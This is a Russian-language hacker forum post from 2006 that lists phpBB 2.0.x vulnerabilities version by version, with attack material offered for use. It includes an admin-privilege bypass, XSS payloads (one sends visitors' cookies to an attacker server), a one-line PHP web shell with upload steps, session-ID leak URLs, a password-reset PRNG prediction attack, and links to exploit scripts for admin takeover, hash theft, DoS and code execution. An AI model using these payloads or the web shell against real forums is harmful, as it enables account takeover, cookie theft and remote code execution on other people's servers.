Показать сообщение отдельно

  #2  
Старый 01.07.2006, 22:15
-=ka$at1k=-
Познающий
Регистрация: 17.06.2006
Сообщений: 55
Провел на форуме:
133838

Репутация: 8
По умолчанию

2.0.12 version:
Удаленный административный доступ:
Уязвимость позволяет удаленному пользователю обойти некоторые ограничения безопасности и получить административные привилегии на форуме.
Уязвимость связана с ошибков в сравнении "sessiondata{'autologinid'}" и "auto_login_key". В результате возможно получить административные привилегии на форуме. Логическая уязвимость обнаружена в сценарии includes/sessions.php в следующей строке:

if( $sessiondata{'autologinid'} == $auto_login_key )
Условие выполняется, если длина $sessiondata{'autologinid'}, представленная в куки пользователя, равна длине переменной $auto_login_key. Для исправления уязвимости ее необходимо заменить на строку:

if( $sessiondata{'autologinid'} === $auto_login_key )
Также сообщается об ошибке в "viewtopic.php", которая позволят раскрыть инсталляционный путь.

Exploit: [here!] (2.0.12.c.txt)
--

2.0.13 version:
XSS-атака в сценарии usercp_register.php:
Уязвимость позволяет удаленному пользователю произвести межсайтовый скриптинг и получить доступ к важным данным пользователей.
Уязвимость обнаружена в сценарии 'usercp_register.php' из-за недостаточной обработки входных данных в перемененных 'allowhtml', 'allowbbcode', и 'allowsmilies' в подписи пользователя. Злоумышленник может послать частное сообщение со специально обработанной подписью, чтобы выполнить произвольный HTML сценарий в браузере целевого пользователя.
--
Раскрытие установочной директории:
Уязвимость позволяет злоумышленнику получить информацию об установочной директории приложения на сервере.

Уязвимость существует в сценарии 'phpBB/db/oracle.php'. Удаленный пользователь может непосредственно вызвать уязвимый сценарий и получить информацию об установочной директории приложения на сервере.
--
Получение административных привилегий:

Exploit: [here!] (2.0.13-admin.c.txt)
--
Получение хеша паролей:

Exploit: [here!] (2.0.13.perl.txt)
--
Загрузка произвольных файлов:
Уязвимость позволяет удаленному пользователю загрузить произвольный файл на сервер.
Уязвимость существует в сценарии up.php из-за некорректной проверки расширений файлов. Удаленный авторизованный пользователь может загрузить произвольный php файл и выполнить его с привилегиями web сервера.

Пример Эксплоита:
Код:
PHP код:
<?
system($cmd)
?>
Сохраняем как cmd.php
Открываем http://target/phpbb/up.php
И загружаем наш код.
Его можно увидеть http://targey/phpbb/uploads/cmd.php
Запуская видим:
Warning: system(): Cannot execute a blank command in /home/target/public_html/forum/uploads/tetx.php on line 2
Следовательно мы можем выполнить NIX команды с привеленгиями веб сервера.
--

2.0.15 version:
Межсайтовый скриптинг в при обработке BBCODE URL:
Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей.
Уязвимость обнаружена при обработке BBCODE URL в сценарии bbcode.php. Удаленный пользователь может с помощью специально сформированного сообщения выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. Примеры:

{url=javascript://%0ASh=alert(%22CouCou%22);window.close();}Alert box with "CouCou"{/url}
{url=javascript://%0ASh=new%20ActiveXObject(%22WScript.shell%22);
Sh.regwrite(%22HKCU%5C%5CQQQQQ
%5C%5Cqq%22,%22CouCou%22);window.close();}Create registry entry: HKCU\QQQQQ\qq = "CouCou"{/url}

{url=javascript://%0Awindow.opener.document.body.innerHTML
=window.opener.document.body.innerHTML.replace(%27 Hi%20Paul%27,%27Hi%20P.A.U.L%27);
window.close();}Modify opener page: Paul -> P.A.U.L{/url}
--
Регистрация множества юзеров. Отказ в обслуживание:

Exploit: [here!] (2.0.15-DOS.c.txt)
--
Выполнение произвольного PHP сценария в phpBB в коде highlighting: (update time:02.07.05)
Пример:
Позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за некорректного использования функции preg_replace() в сценарии 'viewtopic.php' при обработке входных данных. Удаленный пользователь может с помощью специально сформированного запроса заставить приложение интерпретировать входные данные как PHP сценарий и выполнить его.

Exploit: [here!] (2.0.15.perl.txt)

2.0.19 version:
Раскрытие данных:
Уязвимость существует из-за того, что ID сессии включается в заголовок HTTP "Referer" при отправке запросов внешние аватары или при создании ссылок на внешние сайты. Злоумышленник может заставить администратора просмотреть профиль пользователя, содержащий внешний аватар, и получить ID сессии администратора. Для удачной эксплуатации уязвимости необходимо, чтобы использование внешних аватаров было разрешено на сайте (не является значением по умолчанию).
Примеры:

http://[HOST]/[DIR]/admin/admin_users.php?sid=88eafcce6dddcee3fccc08de7ec505 d0
http://[HOST]/[DIR]/modcp.php?t=2&mode=split&sid=c1db64124b7ced0668dec 5900fed3b35
--
XSS:
В admin/admin_smilies.php вы можите изменять / создавать смайлы. Нечего особенного но phpBB не проверят что происходит в БД.
Код:
PHP код:
$smile_code = ( isset($HTTP_POST_VARS['smile_code']) ) ? $HTTP_POST_VARS['smile_code 
'] : 

$HTTP_GET_VARS['smile_code']; 
$smile_url = ( isset($HTTP_POST_VARS['smile_url']) ) ? $HTTP_POST_VARS['smile_url'] 
: 

$HTTP_GET_VARS['smile_url']; 
$smile_url = phpbb_ltrim(basename($smile_url), "'"); 
$smile_emotion = ( isset($HTTP_POST_VARS['smile_emotion']) ) ? 

$HTTP_POST_VARS['smile_emotion'] : $HTTP_GET_VARS['smile_emotion']; 
$smile_code = trim($smile_code); 
$smile_url = trim($smile_url); 
$smile_emotion = trim($smile_emotion); 

// If no code was entered complain ... 
if ($smile_code == '' || $smile_url == '') 
{ 
message_die(GENERAL_MESSAGE, $lang['Fields_empty']); 
} 

// 
// Convert < and > to proper htmlentities for parsing. 
// 
$smile_code = str_replace('<', '<', $smile_code); 
$smile_code = str_replace('>', '>', $smile_code); 

// 
// Save the data to the smiley table. 
// 
$sql = "INSERT INTO " . SMILIES_TABLE . " (code, smile_url, emoticon) 
VALUES ('" . str_replace("\'", "''", $smile_code) . "', '" . str_replace 
("\'", "''", 

$smile_url) . "', '" . str_replace("\'", "''", $smile_emotion) . "')"; 
$result = $db->sql_query($sql);
Примеры:
http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:x:&smil e_url=icon_mrg
reen.gif&smile_emotion=c" onmouseover="alert('SecurityReason.Com')" &sid=SIDofADMIN

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:h:&smil e_url=icon_mrg
reen.gif"%20onmouseover='alert("SecurityReason.Com ")'%20&sid=SIDofADMIN

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:q:&smil e_url=icon_mrg
reen.gif"%20onmouseover="alert(document.location=' http://[SRVER]/cookies?'+document.co
okie)"%20&sid=SIDofADMIN
--
Узявимость в в генераторе случаных чисел:
При восстановление пароля пользователь вводит е-маил и имя пользователя.phpBB генерирует id подтверждения
Код:
PHP код:
/includes/usercp_sendpasswd.php line 51 
"$user_actkey = gen_rand_string(true);" 

and than generate a password. 

/includes/usercp_sendpasswd.php line 55 
"$user_password = gen_rand_string(false);"
Id подтверждения отсылаеться на е-маил с сылкой по которой должен проследовать пользователь для подтверждения. Давайте посмотрим на gen_rand_string() функцию:
Код:
PHP код:
/profile.php line 61 
function gen_rand_string($hash) 
{ 
$chars = array( 'a', 'A', 'b', 'B', 'c', 'C', 'd', 'D', 'e', 'E', 'f', 'F', 'g', 'G', 'h', 'H', 'i', 'I', 'j', 'J', 'k', 'K', 'l', 'L', 'm', 'M', 'n', 'N', 'o', 'O', 'p', 'P', 'q', 'Q', 'r', 'R', 's', 'S', 't', 'T', 'u', 'U', 'v', 'V', 'w', 'W', 'x', 'X', 'y', 'Y', 'z', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'); 

$max_chars = count($chars) - 1; 
srand( (double) microtime()*1000000); 

$rand_str = ''; 
for($i = 0; $i < 8; $i++) 
{ 
$rand_str = ( $i == 0 ) ? $chars[rand(0, $max_chars)] : $rand_str . $chars[rand(0, $max_chars)]; 
} 

return ( $hash ) ? md5($rand_str) : $rand_str; 
}
зная, что PRNG's действительно не случаен, и что данный те же самые, PRNG произведет те же самые случайные числа, мы можем безопасно предположить это из-за "srand( (double) microtime()*1000000); " то число всегда будет от 1 до 999,999. Также знание, что пароль сгенерирован прямо после получения id подтверждения, как только мы получаем id подтверждения, индексное микровремя, используемое, чтобы отобрать поколение пароля не будет слишком далеко, чем микровремя имело обыкновение отбирать id подтверждения. Самое плохое в этом сценарии атаки - то, что Вы должны будете послать 1мил запросов на сброс пароля , нападавший может однако снизить этот показатель к диапазону 100 КБ, если он с умеет синхронизировать, время посылки запросы со временим на сервере, А оно отображаетсья на каждой главной странице любого форума.